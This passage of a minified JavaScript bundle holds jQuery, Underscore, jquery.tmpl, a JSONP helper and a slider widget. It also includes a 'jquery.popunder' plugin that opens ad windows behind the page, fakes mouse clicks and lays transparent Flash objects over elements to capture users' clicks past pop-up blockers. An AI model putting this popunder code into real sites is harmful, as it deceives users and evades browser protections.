                k = ("absolute" === d || "fixed" === d) && ia.inArray("auto", [i, j]) > -1,
                l = {},
                m = {};
                k ? (m = g.position(), e = m.top, f = m.left) : (e = parseFloat(i) || 0, f = parseFloat(j) || 0),
                ia.isFunction(b) && (b = b.call(a, c, h)),
                null != b.top && (l.top = b.top - h.top + e),
                null != b.left && (l.left = b.left - h.left + f),
                "using" in b ? b.using.call(a, l) : g.css(l)
            }
        },
        ia.fn.extend({
            position: function() {
                if (this[0]) {
                    var a, b, c = {
                        top: 0,
                        left: 0
                    },
                    d = this[0];
                    return "fixed" === ia.css(d, "position") ? b = d.getBoundingClientRect() : (a = this.offsetParent(), b = this.offset(), ia.nodeName(a[0], "html") || (c = a.offset()), c.top += ia.css(a[0], "borderTopWidth", !0), c.left += ia.css(a[0], "borderLeftWidth", !0)),
                    {
                        top: b.top - c.top - ia.css(d, "marginTop", !0),
                        left: b.left - c.left - ia.css(d, "marginLeft", !0)
                    }
                }
            },
            offsetParent: function() {
                return this.map(function() {
                    for (var a = this.offsetParent || W.documentElement; a && !ia.nodeName(a, "html") && "static" === ia.css(a, "position");) a = a.offsetParent;
                    return a || W.documentElement
                })
            }
        }),
        ia.each({
            scrollLeft: "pageXOffset",
            scrollTop: "pageYOffset"
        },
        function(a, c) {
            var d = /Y/.test(c);
            ia.fn[a] = function(e) {
                return ia.access(this,
                function(a, e, f) {
                    var g = S(a);
                    return f === b ? g ? c in g ? g[c] : g.document.documentElement[e] : a[e] : (g ? g.scrollTo(d ? ia(g).scrollLeft() : f, d ? f: ia(g).scrollTop()) : a[e] = f, b)
                },
                a, e, arguments.length, null)
            }
        }),
        ia.each({
            Height: "height",
            Width: "width"
        },
        function(a, c) {
            ia.each({
                padding: "inner" + a,
                content: c,
                "": "outer" + a
            },
            function(d, e) {
                ia.fn[e] = function(e, f) {
                    var g = arguments.length && (d || "boolean" != typeof e),
                    h = d || (e === !0 || f === !0 ? "margin": "border");
                    return ia.access(this,
                    function(c, d, e) {
                        var f;
                        return ia.isWindow(c) ? c.document.documentElement["client" + a] : 9 === c.nodeType ? (f = c.documentElement, Math.max(c.body["scroll" + a], f["scroll" + a], c.body["offset" + a], f["offset" + a], f["client" + a])) : e === b ? ia.css(c, d, h) : ia.style(c, d, e, h)
                    },
                    c, g ? e: b, g, null)
                }
            })
        }),
        a.TTSUI = a.$ = ia,
        "function" == typeof define && define.amd && define.amd.TTSUI && define("ttsui", [],
        function() {
            return ia
        })
    } (window),
    c.exports = TTSUI
}),
__tk2__define("lib/jquery.popunder", ["./jquery.min"],
function(a, b, c) {
    var d = a("./jquery.min"); !
    function(a, b, c, d, e) {
        "use strict";
        a.popunder = function(c, d, e, f) {
            var g = a.popunder.helper,
            h = "undefined";
            if (0 === arguments.length && (c = b.aPopunder), e || d) g.bindEvents(c, d, e);
            else if (c = "function" == typeof c ? c(f) : c, (g.ua.ie === !0 || g.ua.g === !0) && (c = g.handleTargetBlank(c, f)), g.reset(), typeof c !== h) {
                do g.queue(c);
                while (c.length > 0);
                g.queue(c)
            }
            return a
        },
        a.popunder.helper = {
            _top: b.self,
            lastWin: null,
            lastTarget: null,
            f: !1,
            last: !1,
            b: "about:blank",
            o: null,
            du: "__jqpu",
            ua: {
                ie: !!/msie|trident/i.test(d.userAgent),
                oldIE: !!/msie/i.test(d.userAgent),
                ff: !!/firefox/i.test(d.userAgent),
                o: !!/opera/i.test(d.userAgent),
                g: !!/chrome/i.test(d.userAgent),
                w: !!/webkit/i.test(d.userAgent),
                fl: !!d.mimeTypes["application/x-shockwave-flash"]
            },
            m: {
                g: "tab"
            },
            hs: [],
            def: {
                window: {
                    toolbar: 0,
                    scrollbars: 1,
                    location: 1,
                    statusbar: 1,
                    menubar: 0,
                    resizable: 1,
                    width: (c.availWidth - 122).toString(),
                    height: (c.availHeight - 122).toString(),
                    screenX: 0,
                    screenY: 0,
                    left: 0,
                    top: 0
                },
                name: "__pu",
                cookie: "__puc",
                blocktime: !1,
                skip: {
                    opera: !0,
                    ipad: !0
                },
                cb: null,
                fs: !1,
                popup: !1
            },
            setMethod: function(a, b) {
                var c = this;
                return c.m[a] = b,
                c
            },
            uaTest: function(a) {
                return !! new RegExp(a, "i").test(d.userAgent.toString())
            },
            queue: function(a) {
                var b = !1,
                c = this;
                if (a.length > 0) for (; b === !1;) {
                    var d = a.shift();
                    b = d ? c.open(d[0], d[1] || {},
                    a.length) : !0
                } else c.last === !1 ? (c.last = !0, c.bg().href(!0)) : c.f || c.ua.g || c.ua.ie || c.bg();
                return c
            },
            handler: function(a, b) {
                var c = this;
                "function" == typeof c.hs[a] && c.hs[a](b)
            },
            getTrigger: function(b) {
                return a("#" + b).parents(".jq-pu").children().eq(0)
            },
            trigger: function(a) {
                this.getTrigger(a).trigger("click")
            },
            bindEvents: function(b, c, d) {
                var e = this,
                f = "string",
                g = e.hs.length,
                h = function(a) {
                    return function(b) {
                        e.handler(a, b)
                    }
                } (g);
                return e.hs[g] = function(b) {
                    return function(c) {
                        return c && !c.target && (c = {
                            target: e.getTrigger(c)
                        }),
                        a.popunder(b, !1, !1, c),
                        !0
                    }
                } (b),
                c && !e.ua.g && (c = typeof c === f ? a(c) : c, c.on("submit", h)),
                d && (d = typeof d === f ? a(d) : d, d.on("click", h), e.ua.g && e.def.fs && e.ua.fl && e.overlay(d, g)),
                e
            },
            overlay: function(b, c) {
                var d = this;
                return b.each(function() {
                    var b = a(this),
                    e = "absolute",
                    f = b.css("position") === e ? "": "position:relative;",
                    g = d.rand("pub"),
                    h = b.wrap('<div class="jq-pu" style="display:inline-block; ' + f + '" />').parent(),
                    i = a('<object id="' + g + '" type="application/x-shockwave-flash" data="' + d.def.fs + '" />').css(a.extend(!0, {},
                    {
                        position: e,
                        cursor: "pointer",
                        top: f ? 0 : b.css("top"),
                        left: f ? 0 : b.css("left"),
                        padding: b.css("padding"),
                        margin: b.css("margin"),
                        width: b.width(),
                        height: b.height()
                    }));
                    i.append('<param name="wmode" value="transparent" />'),
                    i.append('<param name="menu" value="false" />'),
                    i.append('<param name="flashvars" value="id=' + g + "&hs=" + c + '" /">'),
                    h.append(i)
                }),
                d
            },
            cookieCheck: function(b, c) {
                var d = this,
                e = d.rand(c.cookie, !1),
                f = a.cookie(e),
                g = !1;
                return f ? -1 === f.indexOf(b) ? f += b: g = !0 : f = b,
                a.cookie(e, f, {
                    expires: new Date((new Date).getTime() + 6e4 * c.blocktime)
                }),
                g
            },
            rand: function(a, b) {
                var c = this,
                d = a ? a: c.du;
                return d + (b === !1 ? "": Math.floor(89999999 * Math.random() + 1e7).toString()).replace(".", "")
            },
            open: function(c, d, e) {
                var f, g, h, i = this,
                j = "function";
                if (g = a.extend(!0, {},
                i.def, d), h = g.skip, i.o = c, top !== b.self) try {
                    top.document.location.toString() && (i._top = top)
                } catch(k) {}
                for (f in h) if (h.hasOwnProperty(f) && h[f] === !0 && i.uaTest(f)) return ! 1;
                return g.blocktime && typeof a.cookie === j && i.cookieCheck(c, g) ? !1 : (i.ua.g === !0 && "simple" !== i.ua.g && b.open("javascript:window.focus()", "_self", ""), c !== i.du && (i.lastTarget = c, i.ua.g === !0 && "tab" === i.m.g ? i.switcher.tab(i, i.o) : i.lastWin = i._top.window.open(i.o, i.rand(g.name, !d.name), i.getOptions(g.window)) || i.lastWin, i.ua.ff === !0 && i.bg(), i.href(e), typeof g.cb === j && g.cb()), !0)
            },
            bg: function(a) {
                var b = this;
                return b.lastWin && b.lastTarget && !a ? b.ua.ie === !0 ? b.switcher.simple(b) : b.ua.g || b.switcher.pop(b) : "oc" === a && b.switcher.pop(b),
                b
            },
            switcher: {
                simple: function(a) {
                    try {
                        a.lastWin.blur()
                    } catch(c) {}
                    b.focus()
                },
                pop: function(a) { !
                    function(b) {
                        try {
                            a.f = b.window.open("about:blank"),
                            a.f && a.f.close()
                        } catch(c) {}
                        try {
                            b.opener.window.focus()
                        } catch(c) {}
                    } (a.lastWin)
                },
                tab: function(c, d) {
                    var f = d ? d: "data:text/html,<script>window.close();</script>;",
                    g = !d,
                    h = a("<a/>", {
                        href: f
                    }).appendTo(e.body),
                    i = e.createEvent("MouseEvents");
                    return g = "tab" === c.m.g ? !g: g,
                    i.initMouseEvent("click", !0, !0, b, 0, 0, 0, 0, 0, g, !1, !g, g, 0, null),
                    h[0].dispatchEvent(i),
                    h[0].parentNode.removeChild(h[0]),
                    c
                }
            },
            href: function(a) {
                var b, c = this;
                return a && c.lastTarget && c.lastWin && c.lastTarget !== c.b && c.lastTarget !== c.o && (c.ua.g === !0 && "simple" !== c.m.g ? (b = c.lastWin.document, b.open(), b.write("<html><head><title>" + e.title + '</title><script type="text/javascript">window.location="' + c.lastTarget + '";</script></head><body></body></html>'), b.close()) : c.lastWin.document.location.href = c.lastTarget),
                c
            },
            handleTargetBlank: function(b, c) {
                if (c && "undefined" != typeof c.target) {
                    var d, e = this,
                    f = null,
                    g = a(c.target);
                    g.is('input[type="submit"]') === !0 && (f = c.target.form),
                    f && "_blank" === f.target && (d = e.du, e.ua.ie && (d = f.action + "/?" + a(f).serialize()), b.unshift([d, {
                        popup: !0
                    }]))
                }
                return b
            },
            reset: function() {
                var a = this;
                return a.f = a.last = !1,
                a.lastTarget = a.lastWin = null,
                a
            },
            getOptions: function(a) {
                var b, c = [];
                for (b in a) a.hasOwnProperty(b) && c.push(b + "=" + a[b]);
                return c.join(",")
            }
        }
    } (d, window, screen, navigator, document)
}),
__tk2__define("lib/jquery.tmpl.min", ["./jquery.min"],
function(a, b, c) {
    var d = a("./jquery.min"); !
    function(a) {
        function b(b, c, d, e) {
            var f = {
                data: e || (c ? c.data: {}),
                _wrap: c ? c._wrap: null,
                tmpl: null,
                parent: c || null,
                nodes: [],
                calls: j,
                nest: k,
                wrap: l,
                html: m,
                update: n
            };
            return b && a.extend(f, b, {
                nodes: [],
                parent: c
            }),
            d && (f.tmpl = d, f._ctnt = f._ctnt || f.tmpl(a, f), f.key = ++v, (x.length ? t: s)[v] = f),
            f
        }
        function c(b, e, f) {
            var g, h = f ? a.map(f,
            function(a) {
                return "string" == typeof a ? b.key ? a.replace(/(<\w+)(?=[\s>])(?![^>]*_tmplitem)([^>]*)/g, "$1 " + q + '="' + b.key + '" $2') : a: c(a, b, a._ctnt)
            }) : b;
            return e ? h: (h = h.join(""), h.replace(/^\s*([^<\s][^<]*)?(<[\w\W]+>)([^>]*[^>\s])?\s*$/,
            function(b, c, e, f) {
                g = a(e).get(),
                i(g),
                c && (g = d(c).concat(g)),
                f && (g = g.concat(d(f)))
            }), g ? g: d(h))
        }
        function d(b) {
            var c = document.createElement("div");
            return c.innerHTML = b,
            a.makeArray(c.childNodes)
        }
        function e(b) {
            return new Function("TTSUI", "$item", "var $=TTSUI,call,_=[],$data=$item.data;with($data){_.push('" + a.trim(b).replace(/([\\'])/g, "\\$1").replace(/[\r\t\n]/g, " ").replace(/\$\{([^\}]*)\}/g, "{{= $1}}").replace(/\{\{(\/?)(\w+|.)(?:\(((?:[^\}]|\}(?!\}))*?)?\))?(?:\s+(.*?)?)?(\(((?:[^\}]|\}(?!\}))*?)\))?\s*\}\}/g,
            function(b, c, d, e, f, h, i) {
                var j, k, l, m = a.tmpl.tag[d];
                if (!m) throw "Template command not found: " + d;
                return j = m._default || [],
                h && !/\w$/.test(f) && (f += h, h = ""),
                f ? (f = g(f), i = i ? "," + g(i) + ")": h ? ")": "", k = h ? f.indexOf(".") > -1 ? f + h: "(" + f + ").call($item" + i: f, l = h ? k: "(typeof(" + f + ")==='function'?(" + f + ").call($item):(" + f + "))") : l = k = j.$1 || "null",
                e = g(e),
                "');" + m[c ? "close": "open"].split("$notnull_1").join(f ? "typeof(" + f + ")!=='undefined' && (" + f + ")!=null": "true").split("$1a").join(l).split("$1").join(k).split("$2").join(e ? e.replace(/\s*([^\(]+)\s*(\((.*?)\))?/g,
                function(a, b, c, d) {
                    return d = d ? "," + d + ")": c ? ")": "",
                    d ? "(" + b + ").call($item" + d: a
                }) : j.$2 || "") + "_.push('"
            }) + "');}return _;")
        }
        function f(b, d) {
            b._wrap = c(b, !0, a.isArray(d) ? d: [r.test(d) ? d: a(d).html()]).join("")
        }
        function g(a) {
            return a ? a.replace(/\\'/g, "'").replace(/\\\\/g, "\\") : null
        }
        function h(a) {
            var b = document.createElement("div");
            return b.appendChild(a.cloneNode(!0)),
            b.innerHTML
        }
        function i(c) {
            function d(c) {
                function d(a) {
                    a += j,
                    g = k[a] = k[a] || b(g, s[g.parent.key + j] || g.parent, null, !0)
                }
                var e, f, g, h, i = c;
                if (h = c.getAttribute(q)) {
                    for (; i.parentNode && 1 === (i = i.parentNode).nodeType && !(e = i.getAttribute(q)););
                    e !== h && (i = i.parentNode ? 11 === i.nodeType ? 0 : i.getAttribute(q) || 0 : 0, (g = s[h]) || (g = t[h], g = b(g, s[i] || t[i], null, !0), g.key = ++v, s[v] = g), w && d(h)),
                    c.removeAttribute(q)
                } else w && (g = a.data(c, "tmplItem")) && (d(g.key), s[g.key] = g, i = a.data(c.parentNode, "tmplItem"), i = i ? i.key: 0);
                if (g) {
                    for (f = g; f && f.key != i;) f.nodes.push(c),
                    f = f.parent;
                    delete g._ctnt,
                    delete g._wrap,
                    a.data(c, "tmplItem", g);
                }
            }
            var e, f, g, h, i, j = "_" + w,
            k = {};
            for (g = 0, h = c.length; h > g; g++) if (1 === (e = c[g]).nodeType) {
                for (f = e.getElementsByTagName("*"), i = f.length - 1; i >= 0; i--) d(f[i]);
                d(e)
            }
        }
        function j(a, b, c, d) {
            return a ? void x.push({
                _: a,
                tmpl: b,
                item: this,
                data: c,
                options: d
            }) : x.pop()
        }
        function k(b, c, d) {
            return a.tmpl(a.template(b), c, d, this)
        }
        function l(b, c) {
            var d = b.options || {};
            return d.wrapped = c,
            a.tmpl(a.template(b.tmpl), b.data, d, b.item)
        }
        function m(b, c) {
            var d = this._wrap;
            return a.map(a(a.isArray(d) ? d.join("") : d).filter(b || "*"),
            function(a) {
                return c ? a.innerText || a.textContent: a.outerHTML || h(a)
            })
        }
        function n() {
            var b = this.nodes;
            a.tmpl(null, null, null, this).insertBefore(b[0]),
            a(b).remove()
        }
        var o, p = a.fn.domManip,
        q = "_tmplitem",
        r = /^[^<]*(<[\w\W]+>)[^>]*$|\{\{\! /,
        s = {},
        t = {},
        u = {
            key: 0,
            data: {}
        },
        v = 0,
        w = 0,
        x = [];
        a.each({
            appendTo: "append",
            prependTo: "prepend",
            insertBefore: "before",
            insertAfter: "after",
            replaceAll: "replaceWith"
        },
        function(b, c) {
            a.fn[b] = function(d) {
                var e, f, g, h, i = [],
                j = a(d),
                k = 1 === this.length && this[0].parentNode;
                if (o = s || {},
                k && 11 === k.nodeType && 1 === k.childNodes.length && 1 === j.length) j[c](this[0]),
                i = this;
                else {
                    for (f = 0, g = j.length; g > f; f++) w = f,
                    e = (f > 0 ? this.clone(!0) : this).get(),
                    a.fn[c].apply(a(j[f]), e),
                    i = i.concat(e);
                    w = 0,
                    i = this.pushStack(i, b, j.selector)
                }
                return h = o,
                o = null,
                a.tmpl.complete(h),
                i
            }
        }),
        a.fn.extend({
            tmpl: function(b, c, d) {
                return a.tmpl(this[0], b, c, d)
            },
            tmplItem: function() {
                return a.tmplItem(this[0])
            },
            template: function(b) {
                return a.template(b, this[0])
            },
            domManip: function(b, c, d) {
                if (b[0] && b[0].nodeType) {
                    for (var e, f = a.makeArray(arguments), g = b.length, h = 0; g > h && !(e = a.data(b[h++], "tmplItem")););
                    g > 1 && (f[0] = [a.makeArray(b)]),
                    e && w && (f[2] = function(b) {
                        a.tmpl.afterManip(this, b, d)
                    }),
                    p.apply(this, f)
                } else p.apply(this, arguments);
                return w = 0,
                !o && a.tmpl.complete(s),
                this
            }
        }),
        a.extend({
            tmpl: function(d, e, g, h) {
                var i, j = !h;
                if (j) h = u,
                d = a.template[d] || a.template(null, d),
                t = {};
                else if (!d) return d = h.tmpl,
                s[h.key] = h,
                h.nodes = [],
                h.wrapped && f(h, h.wrapped),
                a(c(h, null, h.tmpl(a, h)));
                return d ? ("function" == typeof e && (e = e.call(h || {})), g && g.wrapped && f(g, g.wrapped), i = a.isArray(e) ? a.map(e,
                function(a) {
                    return a ? b(g, h, d, a) : null
                }) : [b(g, h, d, e)], j ? a(c(h, null, i)) : i) : []
            },
            tmplItem: function(b) {
                var c;
                for (b instanceof a && (b = b[0]); b && 1 === b.nodeType && !(c = a.data(b, "tmplItem")) && (b = b.parentNode););
                return c || u
            },
            template: function(b, c) {
                return c ? ("string" == typeof c ? c = e(c) : c instanceof a && (c = c[0] || {}), c.nodeType && (c = a.data(c, "tmpl") || a.data(c, "tmpl", e(c.innerHTML))), "string" == typeof b ? a.template[b] = c: c) : b ? "string" != typeof b ? a.template(null, b) : a.template[b] || a.template(null, r.test(b) ? b: a(b)) : null
            },
            encode: function(a) {
                return ("" + a).split("<").join("&lt;").split(">").join("&gt;").split('"').join("&#34;").split("'").join("&#39;")
            }
        }),
        a.extend(a.tmpl, {
            tag: {
                tmpl: {
                    _default: {
                        $2: "null"
                    },
                    open: "if($notnull_1){_=_.concat($item.nest($1,$2));}"
                },
                wrap: {
                    _default: {
                        $2: "null"
                    },
                    open: "$item.calls(_,$1,$2);_=[];",
                    close: "call=$item.calls();_=call._.concat($item.wrap(call,_));"
                },
                each: {
                    _default: {
                        $2: "$index, $value"
                    },
                    open: "if($notnull_1){$.each($1a,function($2){with(this){",
                    close: "}});}"
                },
                "if": {
                    open: "if(($notnull_1) && $1a){",
                    close: "}"
                },
                "else": {
                    _default: {
                        $1: "true"
                    },
                    open: "}else if(($notnull_1) && $1a){"
                },
                html: {
                    open: "if($notnull_1){_.push($1a);}"
                },
                "=": {
                    _default: {
                        $1: "$data"
                    },
                    open: "if($notnull_1){_.push($.encode($1a));}"
                },
                "!": {
                    open: ""
                }
            },
            complete: function() {
                s = {}
            },
            afterManip: function(b, c, d) {
                var e = 11 === c.nodeType ? a.makeArray(c.childNodes) : 1 === c.nodeType ? [c] : [];
                d.call(b, c),
                i(e),
                w++
            }
        })
    } (d),
    window.TTSUI = d.noConflict()
}),
__tk2__define("lib/jsonp", ["./jquery.min"],
function(a) {
    var b = a("./jquery.min");
    return function(a) {
        if ("string" == typeof a.url && "" !== a.url) {
            var c = !1;
            a.data = a.data || {},
            b.ajax({
                dataType: "jsonp",
                url: a.url,
                scriptCharset: "UTF-8",
                data: a.data
            }).done(function(b) {
                c || (c = "undefined", a.done(b))
            }),
            a.timeout && (a.timeout = a.timeout || 1e4, setTimeout(function() {
                "undefined" !== c && (c = !0, a.fail && a.fail())
            },
            a.timeout))
        }
    }
}),
__tk2__define("lib/ldsSlide", [],
function(a, b, c) {
    function d(a) {
        var b = a;
        this.obj = b,
        this.init()
    }
    d.prototype = {
        $: function(a) {
            return "string" == typeof a ? document.getElementById(a) : a
        },
        $$: function(a, b) {
            return (b || document).getElementsByTagName(a)
        },
        hasClass: function(a, b) {
            return a.className.match(new RegExp("(\\s|^)" + b + "(\\s|$)"))
        },
        addClass: function(a, b) {
            var c = this;
            c.hasClass(a, b) || ("" === a.className.replace(/\s/g, "") ? a.className = b: a.className += " " + b)
        },
        removeClass: function(a, b) {
            var c = this;
            c.hasClass(a, b) && (a.className = a.className.replace(new RegExp("(\\s*|^)" + b + "(\\s*|$)"), " "))
        },
        addEvent: function(a, b, c) {
            a.addEventListener ? a.addEventListener(b, c, !1) : a.attachEvent && a.attachEvent("on" + b,
            function() {
                c.call(a)
            })
        },
        init: function() {
            function a() {
                i = setInterval(function() {
                    e >= m - 1 ? e = 0 : ++e,
                    b()
                },
                5e3)
            }
            function b() {
                for (var a = d.$$("span", d.$("J-TK-lds-btn")), b = 0, f = a.length; f > b; b++) d.removeClass(a[b], "TK-lds-active");
                d.addClass(a[e], "TK-lds-active"),
                c(g, 112 * -e)
            }
            function c(a, b) {
                clearInterval(j),
                j = setInterval(function() {
                    var c = (b - a.offsetLeft) / 5;
                    c = c > 0 ? Math.ceil(c) : Math.floor(c),
                    a.offsetLeft == b ? clearInterval(j) : a.style.left = c + a.offsetLeft + "px"
                },
                30)
            }
            var d = this,
            e = 0,
            f = this.obj,
            g = d.$("J-TK-lds-bd-con"),
            h = d.$$("ul", g),
            i = null,
            j = null;
            g.style.width = 112 * h.length + "px";
            var k = document.getElementById("J-TK-lds-prev"),
            l = document.getElementById("J-TK-lds-next"),
            m = h.length,
            n = document.createDocumentFragment(),
            o = document.createElement("div");
            if (o.className = "TK-lds-btn", o.id = "J-TK-lds-btn", o.style.width = 15 * m + "px", !(1 >= m)) {
                d.addEvent(k, "click",
                function() {--e,
                    0 > e && (e = m - 1),
                    e > m - 1 && (e = 0),
                    b()
                }),
                d.addEvent(l, "click",
                function() {++e,
                    0 > e && (e = m - 1),
                    e > m - 1 && (e = 0),
                    b()
                });
                for (var p = 0; m > p; p++) {
                    var q = document.createElement("span");
                    0 === p && (q.className = "TK-lds-active"),
                    q.innerText = p,
                    o.appendChild(q),
                    function(a, c) {
                        d.addEvent(c, "click",
                        function() {
                            clearInterval(j),
                            e = a,
                            b()
                        })
                    } (p, q)
                }
                d.addEvent(f, "mouseover",
                function() {
                    clearInterval(i),
                    i = null
                }),
                d.addEvent(f, "mouseout",
                function() {
                    a()
                }),
                a(),
                n.appendChild(o),
                document.getElementById("J-TK-lds-slide").appendChild(n)
            }
        }
    },
    c.exports = d
}),
__tk2__define("lib/underscore", [],
function(a, b, c) { (function() {
        var a = this,
        d = a._,
        e = {},
        f = Array.prototype,
        g = Object.prototype,
        h = Function.prototype,
        i = f.push,
        j = f.slice,
        k = f.concat,
        l = g.toString,
        m = g.hasOwnProperty,
        n = f.forEach,
        o = f.map,
        p = f.reduce,
        q = f.reduceRight,
        r = f.filter,
        s = f.every,
        t = f.some,
        u = f.indexOf,
        v = f.lastIndexOf,
        w = Array.isArray,
        x = Object.keys,
        y = h.bind,
        z = function(a) {
            return a instanceof z ? a: this instanceof z ? void(this._wrapped = a) : new z(a)
        };
        "undefined" != typeof b ? ("undefined" != typeof c && c.exports && (b = c.exports = z), b._ = z) : a._ = z,
        z.VERSION = "1.4.4";
        var A = z.each = z.forEach = function(a, b, c) {
            if (null != a) if (n && a.forEach === n) a.forEach(b, c);
            else if (a.length === +a.length) {
                for (var d = 0,
                f = a.length; f > d; d++) if (b.call(c, a[d], d, a) === e) return
            } else for (var g in a) if (z.has(a, g) && b.call(c, a[g], g, a) === e) return
        };
        z.map = z.collect = function(a, b, c) {
            var d = [];
            return null == a ? d: o && a.map === o ? a.map(b, c) : (A(a,
            function(a, e, f) {
                d[d.length] = b.call(c, a, e, f)
            }), d)
        };
        var B = "Reduce of empty array with no initial value";
        z.reduce = z.foldl = z.inject = function(a, b, c, d) {
            var e = arguments.length > 2;
            if (null == a && (a = []), p && a.reduce === p) return d && (b = z.bind(b, d)),
            e ? a.reduce(b, c) : a.reduce(b);
            if (A(a,
            function(a, f, g) {
                e ? c = b.call(d, c, a, f, g) : (c = a, e = !0)
            }), !e) throw new TypeError(B);
            return c
        },
        z.reduceRight = z.foldr = function(a, b, c, d) {
            var e = arguments.length > 2;
            if (null == a && (a = []), q && a.reduceRight === q) return d && (b = z.bind(b, d)),
            e ? a.reduceRight(b, c) : a.reduceRight(b);
            var f = a.length;
            if (f !== +f) {
                var g = z.keys(a);
                f = g.length
            }
            if (A(a,
            function(h, i, j) {
                i = g ? g[--f] : --f,
                e ? c = b.call(d, c, a[i], i, j) : (c = a[i], e = !0)
            }), !e) throw new TypeError(B);
            return c
        },
        z.find = z.detect = function(a, b, c) {
            var d;
            return C(a,
            function(a, e, f) {
                return b.call(c, a, e, f) ? (d = a, !0) : void 0
            }),
            d
        },
        z.filter = z.select = function(a, b, c) {
            var d = [];
            return null == a ? d: r && a.filter === r ? a.filter(b, c) : (A(a,
            function(a, e, f) {
                b.call(c, a, e, f) && (d[d.length] = a)
            }), d)
        },
        z.reject = function(a, b, c) {
            return z.filter(a,
            function(a, d, e) {
                return ! b.call(c, a, d, e)
            },
            c)
        },
        z.every = z.all = function(a, b, c) {
            b || (b = z.identity);
            var d = !0;
            return null == a ? d: s && a.every === s ? a.every(b, c) : (A(a,
            function(a, f, g) {
                return (d = d && b.call(c, a, f, g)) ? void 0 : e
            }), !!d)
        };
        var C = z.some = z.any = function(a, b, c) {
            b || (b = z.identity);
            var d = !1;
            return null == a ? d: t && a.some === t ? a.some(b, c) : (A(a,
            function(a, f, g) {
                return d || (d = b.call(c, a, f, g)) ? e: void 0
            }), !!d)
        };
        z.contains = z.include = function(a, b) {
            return null == a ? !1 : u && a.indexOf === u ? -1 != a.indexOf(b) : C(a,
            function(a) {
                return a === b
            })
        },
        z.invoke = function(a, b) {
            var c = j.call(arguments, 2),
            d = z.isFunction(b);
            return z.map(a,
            function(a) {
                return (d ? b: a[b]).apply(a, c)
            })
        },
        z.pluck = function(a, b) {
            return z.map(a,
            function(a) {
                return a[b]
            })
        },
        z.where = function(a, b, c) {
            return z.isEmpty(b) ? c ? null: [] : z[c ? "find": "filter"](a,
            function(a) {
                for (var c in b) if (b[c] !== a[c]) return ! 1;
                return ! 0
            })
        },
        z.findWhere = function(a, b) {
            return z.where(a, b, !0)
        },
        z.max = function(a, b, c) {
            if (!b && z.isArray(a) && a[0] === +a[0] && a.length < 65535) return Math.max.apply(Math, a);
            if (!b && z.isEmpty(a)) return - (1 / 0);
            var d = {
                computed: -(1 / 0),
                value: -(1 / 0)
            };
            return A(a,
            function(a, e, f) {
                var g = b ? b.call(c, a, e, f) : a;
                g >= d.computed && (d = {
                    value: a,
                    computed: g
                })
            }),
            d.value
        },
        z.min = function(a, b, c) {
            if (!b && z.isArray(a) && a[0] === +a[0] && a.length < 65535) return Math.min.apply(Math, a);
            if (!b && z.isEmpty(a)) return 1 / 0;
            var d = {
                computed: 1 / 0,
                value: 1 / 0
            };
            return A(a,
            function(a, e, f) {
                var g = b ? b.call(c, a, e, f) : a;
                g < d.computed && (d = {
                    value: a,
                    computed: g
                })
            }),
            d.value
        },
        z.shuffle = function(a) {
            var b, c = 0,
            d = [];
            return A(a,
            function(a) {
                b = z.random(c++),
                d[c - 1] = d[b],
                d[b] = a
            }),
            d
        };
        var D = function(a) {
            return z.isFunction(a) ? a: function(b) {
                return b[a]
            }
        };
        z.sortBy = function(a, b, c) {
            var d = D(b);
            return z.pluck(z.map(a,
            function(a, b, e) {
                return {
                    value: a,
                    index: b,
                    criteria: d.call(c, a, b, e)
                }
            }).sort(function(a, b) {
                var c = a.criteria,
                d = b.criteria;
                if (c !== d) {
                    if (c > d || void 0 === c) return 1;
                    if (d > c || void 0 === d) return - 1
                }
                return a.index < b.index ? -1 : 1
            }), "value")
        };
        var E = function(a, b, c, d) {
            var e = {},
            f = D(b || z.identity);
            return A(a,
            function(b, g) {
                var h = f.call(c, b, g, a);
                d(e, h, b)
            }),
            e
        };
        z.groupBy = function(a, b, c) {
            return E(a, b, c,
            function(a, b, c) { (z.has(a, b) ? a[b] : a[b] = []).push(c)
            })
        },
        z.countBy = function(a, b, c) {
            return E(a, b, c,
            function(a, b) {
                z.has(a, b) || (a[b] = 0),
                a[b]++
            })
        },
        z.sortedIndex = function(a, b, c, d) {
            c = null == c ? z.identity: D(c);
            for (var e = c.call(d, b), f = 0, g = a.length; g > f;) {
                var h = f + g >>> 1;
                c.call(d, a[h]) < e ? f = h + 1 : g = h
            }
            return f
        },
        z.toArray = function(a) {
            return a ? z.isArray(a) ? j.call(a) : a.length === +a.length ? z.map(a, z.identity) : z.values(a) : []
        },
        z.size = function(a) {
            return null == a ? 0 : a.length === +a.length ? a.length: z.keys(a).length
        },
        z.first = z.head = z.take = function(a, b, c) {
            return null == a ? void 0 : null == b || c ? a[0] : j.call(a, 0, b)
        },
        z.initial = function(a, b, c) {
            return j.call(a, 0, a.length - (null == b || c ? 1 : b))
        },
        z.last = function(a, b, c) {
            return null == a ? void 0 : null == b || c ? a[a.length - 1] : j.call(a, Math.max(a.length - b, 0))
        },
        z.rest = z.tail = z.drop = function(a, b, c) {
            return j.call(a, null == b || c ? 1 : b)
        },
        z.compact = function(a) {
            return z.filter(a, z.identity)
        };
        var F = function(a, b, c) {
            return A(a,
            function(a) {
                z.isArray(a) ? b ? i.apply(c, a) : F(a, b, c) : c.push(a)
            }),
            c
        };
        z.flatten = function(a, b) {
            return F(a, b, [])
        },
        z.without = function(a) {
            return z.difference(a, j.call(arguments, 1))
        },
        z.uniq = z.unique = function(a, b, c, d) {
            z.isFunction(b) && (d = c, c = b, b = !1);
            var e = c ? z.map(a, c, d) : a,
            f = [],
            g = [];
            return A(e,
            function(c, d) { (b ? d && g[g.length - 1] === c: z.contains(g, c)) || (g.push(c), f.push(a[d]))
            }),
            f
        },
        z.union = function() {
            return z.uniq(k.apply(f, arguments))
        },
        z.intersection = function(a) {
            var b = j.call(arguments, 1);
            return z.filter(z.uniq(a),
            function(a) {
                return z.every(b,
                function(b) {
                    return z.indexOf(b, a) >= 0
                })
            })
        },
        z.difference = function(a) {
            var b = k.apply(f, j.call(arguments, 1));
            return z.filter(a,
            function(a) {
                return ! z.contains(b, a)
            })
        },
        z.zip = function() {
            for (var a = j.call(arguments), b = z.max(z.pluck(a, "length")), c = new Array(b), d = 0; b > d; d++) c[d] = z.pluck(a, "" + d);
            return c
        },
        z.object = function(a, b) {
            if (null == a) return {};
            for (var c = {},
            d = 0,
            e = a.length; e > d; d++) b ? c[a[d]] = b[d] : c[a[d][0]] = a[d][1];
            return c
        },
        z.indexOf = function(a, b, c) {
            if (null == a) return - 1;
            var d = 0,
            e = a.length;
            if (c) {
                if ("number" != typeof c) return d = z.sortedIndex(a, b),
                a[d] === b ? d: -1;
